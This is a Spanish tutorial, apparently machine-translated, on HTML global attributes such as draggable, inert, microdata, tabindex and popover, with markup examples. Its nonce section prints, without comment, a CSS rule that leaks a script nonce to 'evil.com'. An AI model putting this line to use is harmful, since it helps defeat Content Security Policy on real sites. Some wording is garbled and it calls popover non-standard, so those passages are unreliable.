Se pueden especificar atributos globales para cualquier elemento HTML, incluso aquellos no especificados en el estándar. Esto significa que todos los elementos no estándar deben permitir estos atributos, incluso si el uso de estos elementos significa que el documento ya no es compatible con HTML.
accesskey
El atributo accesskey asigna un método abreviado de teclado a un elemento HTML, lo que permite a los usuarios acceder o activar rápidamente el elemento presionando la tecla especificada en combinación con la tecla Alt (o clave Ctrl en Mac). No recomendado para su uso
<p>If you need to relax, press the <b>S</b>tress reliever!</p> <button accesskey="s">Stress reliever</button>
autocapitalize
El atributo autocapitalize controla el comportamiento de capitalización automática para elementos de entrada y elementos contenteditable. Se puede instalar en on o off, o a valores más específicos como words, sentences o characters, para determinar el comportamiento de capitalización deseado. off o none – no hay conversión de letras, todas permanecen en minúsculas por defecto. on o sentences – la primera letra de cada oración debe estar en mayúscula, las letras restantes permanecen en minúscula por defecto. words – la primera letra de cada palabra de una oración debe estar en mayúscula, las letras restantes permanecen en minúscula de forma predeterminada. characters – todas las letras deben estar en mayúscula de forma predeterminada. En obras en Safari
<p><input type="text" autocapitalize="off" placeholder="off"></p> <p><input type="text" autocapitalize="sentences" placeholder="sentences"></p> <p><input type="text" autocapitalize="words" placeholder="words"></p> <p><input type="text" autocapitalize="characters" placeholder="characters"></p>
autofocus
El atributo autofocus, cuando se aplica a un elemento de formulario, especifica que el elemento debe recibir el foco automáticamente cuando se carga la página. Esto es especialmente útil para campos de entrada donde se espera que el usuario proporcione información inmediata, como los campos de búsqueda.
contenteditable
El atributo contenteditable determina si el contenido del elemento puede ser editado por el usuario. Cuando valor true el elemento se vuelve editable, lo que permite a los usuarios cambiar su contenido directamente en el navegador.
class
El atributo class esta es una lista de registros separados por espacios de las clases dependientes del elemento. Las clases permiten CSS y Javascript seleccionar y acceder mediante selectores de clases o funciones como métodos DOM document.getElementsByClassName. Los desarrolladores usan el atributo todo el tiempo class. No solo facilita el diseño, sino que también le ayuda a organizar mejor su código y facilitar su mantenimiento.
dir
El atributo dir especifica la dirección del texto para el contenido del elemento. Se puede configurar en ltr (de izquierda a derecha) o rtl (de derecha a izquierda). Este atributo es especialmente importante para los idiomas que se escriben de derecha a izquierda, como el árabe y el hebreo.
<p dir="ltr">Un ejemplo de texto en español con la dirección correcta.</p> <p dir="rtl">Un ejemplo de texto en español con la dirección incorrecta.</p>
dragggable
El atributo draggable Determina si el usuario puede arrastrar un elemento. Si se establece en true, el elemento se puede arrastrar, lo que permite a los usuarios moverlo dentro de una página o entre diferentes páginas o aplicaciones. true – permite arrastrar elementos. false – evita el arrastre de un elemento. auto – establece el comportamiento predeterminado del navegador.
<head>
<meta charset="utf-8">
<title>draggable</title>
<style>
.trash {
border: 1px solid #929292; /* Opciones de marco */
background: url(/example/image/trash.png) no-repeat 50% 50%; /* Imagen de fondo */
height: 200px; /* Altura del área */
padding: 10px; /* Distancia de la imagen al marco */
text-align: center; /* Alineación central */
margin-bottom: 1rem; /* Espacio debajo */
}
.trash img {
height: 100%; /* altura de la imagen */
}
img {
cursor: move; /* Cambiar el tipo de cursor */
}
</style>
<script>
function allowDrop(e) {
e.preventDefault();
}
function drag(e) {
e.dataTransfer.setData("text", e.target.id);
}
function drop(e) {
e.preventDefault();
var data = e.dataTransfer.getData("text");
e.target.appendChild(document.getElementById(data));
}
</script>
</head>
<body>
<p>Mueve la imagen a un rectángulo.</p>
<div class="trash" ondrop="drop(event)" ondragover="allowDrop(event)"></div>
<img src="image/fig.jpg" draggable="true" alt="" ondragstart="drag(event)" id="photo">
</body>
enterkeyhint
El atributo enterkeyhint proporciona una pista al navegador sobre la acción esperada cuando el usuario presiona una tecla Enter al interactuar con un elemento de entrada. Valores posibles: enter, done, go, next, previous, search y send. El atributo enterkeyhint le permite cambiar la apariencia y el comportamiento del botón Enter en el teclado virtual de dispositivos móviles. Esto le permite cambiar el comportamiento de los campos del formulario y darle al usuario una pista de qué esperar al usar el teclado. Si atributo enterkeyhint no especificado, el navegador selecciona de forma independiente el tipo de botón más adecuado.
<!DOCTYPE html>
<html lang="ru">
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>enterkeyhint</title>
</head>
<body>
<form>
<p><input type="search" autofocus placeholder="Buscar en el sitio" enterkeyhint="search">
<button>Encontrar</button></p>
</form>
</body>
</html>
hidden
El atributo hidden — este es un atributo booleano que, cuando está presente, oculta el elemento al usuario. Este atributo se puede utilizar para almacenar información que no debe mostrarse o para ocultar elementos condicionalmente según la interacción del usuario. Una forma de ocultar un elemento en los casos en que no sea adecuado opacity o visibility. A diferencia de los otros dos métodos, este se aplica directamente en el formato HTML. No es una buena práctica influir en la apariencia de una página mediante marcas, pero a veces eso es exactamente lo que desea. Esencialmente esto es display: none — así es como se describe en los estilos del navegador.
<p hidden> Este texto no será visible en la página. Aunque el elemento en el marcado será </p>
inert
El atributo inert, cuando está presente, evita que el elemento y sus hijos reciban eventos de entrada del usuario o se enfoquen. Esto puede ser útil para crear cuadros de diálogo modales u otros elementos de la interfaz con los que no se debe interactuar hasta que se cumpla una determinada condición. inert elimina un elemento del orden de navegación y del árbol de accesibilidad. Esto significa que no puede hacer clic en él, concentrarse en él, ingresar datos y encontrarlo mediante una búsqueda de páginas. Los lectores de pantalla no leen el contenido de dichos elementos y no declaran roles. Esto es similar al comportamiento de otro atributo global disabled, pero hay una diferencia entre ellos, — inert se puede asignar a cualquier etiqueta o su grupo. inerte no tiene estilos por defecto. Sin embargo, el texto dentro de un bloque o elemento con inert no se puede distinguir, pero en el caso disabled poder. Si un botón tiene estilos de enfoque y desplazamiento personalizados, entonces el botón con inert los ignorará sin esfuerzo adicional, a diferencia de disabled.
[inert], [inert] * {
opacity: 0.7;
pointer-events: none;
cursor: default;
user-select: none;
}
<form inert>
<fieldset>
<legend>Período de validez de la licencia</legend>
<label for="start">fecha de inicio</label>
<input type="date" id="start">
<label for="end">Fecha de finalización</label>
<input type="date" id="end">
<button>Aplicar</button>
</fieldset>
</form>
inputmode
El atributo inputmode proporciona una pista al navegador sobre el tipo de datos que se espera que ingrese el usuario en un control de formulario, lo que influye en el diseño del teclado virtual. Valores posibles: text, decimal, numeric, tel, email, url y search. El atributo inputmode ¡¡¡le dice al navegador en dispositivos con teclado en pantalla!!! qué conjunto de caracteres mostrar al ingresar datos en un campo específico. Indicado para elementos input o textarea.
<input type="text" inputmode="numeric"> <textarea inputmode="text"></textarea>
is
El atributo is se utiliza junto con elementos personalizados, lo que permite a los desarrolladores crear nuevos elementos HTML con comportamiento y propiedades personalizados. Especifica el nombre de la definición de elemento personalizado de la que el elemento debe heredar su comportamiento. No funciona en Safari
customElements.define('word-count', WordCount, { extends: 'p' });
<p is="word-count"></p>
itemid
El atributo itemid, utilizado en combinación con Microdata API, Asigna un identificador único a un elemento de una página, lo que permite a los desarrolladores crear datos estructurados legibles por máquina. Atributo itemid define un identificador de elemento global único para microdatos. Se aplica solo a elementos que simultáneamente tienen atributos establecidos itemscope y itemtype. Además, itemid Es aceptable usarlo con diccionarios que admitan identificadores globales. Por ejemplo, para un diccionario http://schema.org/Book, que describe libros, un ISBN puede servir como identificador: un número de publicación de libro internacional único.
<body> <div itemscope itemtype="http://schema.org/Book" itemid="isbn:978-5-17-075250-8"> <h2 itemprop="name">Game of Thrones</h2> <div itemprop="author">Jorge Martín</div> <div itemprop="bookFormat">De tapa dura</div> <div itemprop="description">Una saga épica e inquietante del mundo de los Siete Reinos.</div> </div> </body>
itemprop
El atributo itemprop se utiliza con microdatos para determinar la propiedad de un elemento, lo que permite a los motores de búsqueda y otras herramientas extraer y procesar datos estructurados de una página web. Atributo itemprop se utiliza para agregar propiedades del diccionario de microdatos a un elemento. El nombre de la propiedad está determinado por el valor itemprop, y el valor de la propiedad está determinado por el contenido del elemento HTML, por ejemplo, el texto que se encuentra dentro del elemento
<body>
<div itemscope itemtype="http://schema.org/Movie">
<div>
<h1 itemprop="name">Atlas de nubes </h1>
<span itemprop="alternativeHeadline">Cloud Atlas</span>
<img src="464484.jpg" alt="Atlas de nubes (Cloud Atlas)" itemprop="image">
</div>
<span>
<a itemprop="director" href="/name/23330/">Lana Wachowski</a>
</span>
<span>
<a itemprop="producer" href="/name/26437/">Stefan Arndt</a>
</span>
<span>
<a itemprop="musicBy" href="/name/312865/">Reinhold Heil</a>
</span>
<span>
<a itemprop="genre" href="/level/10/m_act%5Bgenre%5D/2/">fantasía</a>
</span>
<span class="title">Protagonizada:</span>
<div>
<a itemprop="actor" href="/name/9144/">Tom Hanks</a>
<a itemprop="actor" href="/name/1179/">Halle Berry</a>
<a itemprop="actor" href="/name/38704/">Jim Broadbent</a>
</div>
<span itemprop="description">Seis historias: cinco reencarnaciones que tienen lugar en diferentes momentos y están estrechamente entrelazadas entre sí…</span>
</div>
</body>
<div itemscope itemtype="http://schema.org/Event">
<div itemprop="name">Spinal Tap</div>
<span itemprop="description">Una de las bandas más importantes de todos los tiempos se reunirá para un espectáculo inolvidable de dos días.</span> El concierto se llevará a cabo
<time itemprop="startDate" datetime="2011-05-08T19:30">8 de mayo в 19:30</time>
</div>
<div itemscope itemtype="http://schema.org/Offer">
<span itemprop="name">Blend-O-Matic</span> <span itemprop="price">$19.95</span>
<span itemprop="availability">Ya a la venta!</span>
</div>
<div itemscope itemtype="http://schema.org/Offer">
<span itemprop="name">Blend-O-Matic</span>
<span itemprop="price">$19.95</span>
<link itemprop="availability" href="http://schema.org/InStock"/>Ya a la venta!
</div>
<div itemscope itemtype="http://schema.org/Person">
<a href="alice.html" itemprop="url">Alicia Jones</a>
</div>
<div itemscope itemtype="http://schema.org/Person">
<a href="bob.html" itemprop="url">Bob Smith</a>
</div>
Lista completa de tipos de entidades http://schema.org/docs/full.html
itemref
El atributo itemref se utiliza en microdatos para definir la relación entre un elemento y un atributo itemscope y otros elementos que contienen atributos itemprop, que pertenecen al mismo elemento, pero no son descendientes del elemento con itemscope. Propiedades que no son hijas del elemento con el atributo itemscope, se puede asociar con un elemento mediante un atributo itemref. El valor de este atributo especifica una lista de identificadores de elementos que contienen propiedades adicionales en otras partes del documento. Atributo itemref sólo se puede especificar para elementos que contienen el atributo itemscope. El atributo itemref no forma parte del modelo de microdatos. Esta es solo una construcción sintáctica para ayudar a los autores a agregar anotaciones a una página que no contiene una estructura de árbol conveniente.
<div itemscope itemtype="http://schema.org/Product" itemref="name thumb description"></div>
itemscope
El atributo itemscope se utiliza con microdatos para definir un nuevo elemento, creando un ámbito para los atributos itemprop, para asociar propiedades con un elemento. Atributo itemscope especifica el alcance del diccionario en la estructura de datos. Normalmente funciona junto con el atributo itemtype y establece los límites donde itemtype estará activo.
itemtype
El atributo itemtype se utiliza en microdatos para definir un vocabulario para un elemento, proporcionando contexto para las propiedades definidas mediante atributos itemprop. El atributo itemtype especifica la dirección del diccionario que se utilizará para definir las propiedades de un elemento en la estructura de datos. Yandex y Google admiten el estándar de marcado Schema.org, en consecuencia, como valor itemtype se indica la dirección del diccionario en este sitio. Por ejemplo, para marcar organizaciones, se utiliza el valor http://schema.org/Organization.
lang
El atributo lang identifica el idioma del contenido de un elemento, mejora la accesibilidad, permite a los lectores de pantalla utilizar reglas de pronunciación correctas y ayuda en la traducción.
<p>This paragraph is English, but the language is not specifically defined.</p> <p lang="en-GB">This paragraph is defined as British English.</p> <p lang="fr">Ce paragraphe est défini en français.</p>
nonce
El atributo nonce se utiliza en la Política de seguridad de contenido (CSP) para permitir la ejecución de ciertos scripts o estilos en línea, lo que aumenta la seguridad al evitar la ejecución de código no autorizado.
<meta http-equiv=Content-Security-Policy content="script-src-elem 'nonce-aaBB'">
script[nonce~="whatever"] {
background: url("https://evil.com/nonce?whatever");
}
En proyectos PHP 7+ para generar ‘nonce’ puedes usar la función random_bytes(), cuyo resultado debe ser procesado base64_encode() o bin2hex():
$nonce = base64_encode( random_bytes(128/8) ); // base64-encoded string like: 4IG4ejFA+2r4uVTo5ZQ1hw== $nonce = bin2hex( random_bytes(128/8) ); // Hex string like: 8153dd199525aed568a27dfd31038e4b
popover
El atributo popover no es un atributo global estándar en HTML. Puede hacer referencia a un atributo personalizado utilizado en ciertas bibliotecas o marcos para mostrar información adicional al pasar el cursor o hacer clic en un elemento.
<button popovertarget="my-popover">
Mostrar ventana emergente
</button>
<div id="my-popover" popover>
<p>Soy un popover simple pero genial que se puede cerrar con el mismo botón</p>
</div>
<button popovertarget="my-popover" popovertargetaction="show">
Mostrar ventana emergente
</button>
<div id="my-popover" popover>
<button popovertarget="my-popover" popovertargetaction="hide">
<span aria-hidden="true">❌</span>
<span class="sr-only">Cerca</span>
</button>
<p>Soy un popover que no se puede cerrar con el mismo botón</p>
</div>
En atributo popover hay dos significados: auto — valor predeterminado, no es necesario especificarlo explícitamente. Sólo se muestra uno a la vez. La ventana emergente se puede cerrar haciendo clic fuera del elemento; manual — puedes mostrar varios al mismo tiempo. La ventana emergente no se puede cerrar haciendo clic fuera de ella.
<button popovertarget="popover-auto"> <code>popover="auto"</code> </button> Información sobre herramientas <div id="popover-auto" popover="auto"> <p>Cierro otras ventanas emergentes. me cierro fácilmente.</p> </div>
<button popovertarget="popover-manual"> <code>popover="manual"</code> </button> Información sobre herramientas <div id="popover-manual" popover="manual"> <p>No cierro a los demás. No cerraré sin un botón.</p> </div>
spellcheck
El atributo spellcheck determina si el navegador debe verificar el contenido del elemento en busca de errores ortográficos y gramaticales. Indica al navegador que verifique si la ortografía y la gramática del texto son correctas. Aunque el atributo se puede configurar en casi todos los elementos, el efecto sólo se notará en los campos del formulario (input, textarea), así como elementos editables (tienen el atributo establecido contenteditable). Depende de la configuración del navegador.
<p contenteditable="true" spellcheck="false"> Firefox no desactiva la revisión ortográfica de los campos editables (que tienen el atributo establecido en contenteditable). </p>
style
El atributo style se utiliza para aplicar estilos CSS en línea directamente a un elemento HTML, lo que le permite cambiar el estilo de forma rápida y precisa sin la necesidad de una hoja de estilo externa. Se aplica a las etiquetas a, abbr, acronym, address, applet, area, b, basefont, bdo bgsound, big, blockquote, body, br, button, caption, center, cite, code, col, colgroup, dd, del, dfn, dir, div, dl, dt, em, embed, fieldset, font, form, frame, h1, h2, h3, h4, h5, h6, hr, i, iframe, img, input, ins, isindex, kbd, label, legend, li, link, map, marquee, menu, nobr, object, ol, option, p, plaintext, pre, q, s, samp, select, small, span, strike, strong, sub, sup, table, tbody, td, textarea, tfoot, th, thead, tr, tt, u, ul, var, wbr, xmp.
<p><span style="color: red; font-size: 2em">L</span>orem ipsum dolor sit amet, consectetuer adipiscing elit, sed diem nonummy nibh euismod tincidunt ut lacreet dolore magna aliguam erat volutpat.</p> <div style="width: 50%;"></div>
tabindex
El atributo tabindex define el orden en el que un elemento recibe el foco cuando el usuario navega por la página usando una tecla Tab. tabindex llamado así por la clave Tab, que se mueven entre elementos interactivos. Esta acción también suele denominarse “tab” o “tabulación”. Significado tabindex — cualquier número entero negativo o positivo. Por ejemplo, 0, 1 o -1. 0 — elemento en orden secuencial de navegación (o enfoque), pero el orden en sí lo determina el navegador. 1 u otro número positivo: un elemento en el orden de navegación sin la participación del navegador. Cuanto mayor sea el valor, mayor será el orden del elemento. -1 u otro número negativo: se puede hacer clic en el elemento, pero no entra en el orden de navegación secuencial. Es decir, no podrás enfocarlo desde el teclado, aunque antes fuera posible. De forma predeterminada, todas las etiquetas en el orden de navegación tienen un valor de 0. Esto a o area con atributo href, button, input, select, textarea, primer elemento summary adentro details, iframe y object.
Si varios elementos tienen los mismos valores positivos, se enumeran en el orden en que aparecen en el código. En este ejemplo, el foco estará primero en el enlace “Bigotes”, luego en las “Patas” y luego en la “Cola”.
<a href="#mustache" tabindex="1">Bigotes</a> <a href="#paws" tabindex="1">Patas</a> <a href="#tail" tabindex="1">Cola</a>
Cualquier elemento admite el foco si tiene tabindex
<ul>
<li tabindex="1">Uno</li>
<li tabindex="0">Cero</li>
<li tabindex="2">Dos</li>
<li tabindex="-1">Menos uno</li>
</ul>
<style>
li { cursor: pointer; }
:focus { outline: 1px dashed green; }
</style>
title
El atributo title proporciona información adicional sobre un elemento, que generalmente se muestra como información sobre herramientas al pasar el mouse sobre el elemento. Agrega una información sobre herramientas con texto que aparece cuando pasa el cursor sobre un elemento. La apariencia de dicha información sobre herramientas depende de la configuración del navegador y del sistema operativo y no se puede cambiar directamente utilizando código o estilos HTML. Atributo alt utilizado para imágenes en etiquetas HTML img. Contiene texto alternativo que se muestra cuando la imagen no se carga por algún motivo.
<p title="Aquí estoy!">Ejemplo de información sobre herramientas</p> <img alt="el gato se para sobre dos patas y mira por la ventana" src="enlace_a_imagen.jpg">
translate
El atributo translate especifica si el contenido del elemento debe traducirse cuando se localiza la página, lo que le brinda más control sobre el proceso de traducción. Atributo translate determina si el contenido de un elemento determinado se puede traducir o no. La traducción puede realizarse mediante varios servicios automatizados, como Google Translate.
<p translate="no">Esto no debe ser traducido!</p> <p>Este texto se puede traducir a cualquier idioma.</p>
El atributo es tenido en cuenta por los sistemas de traducción
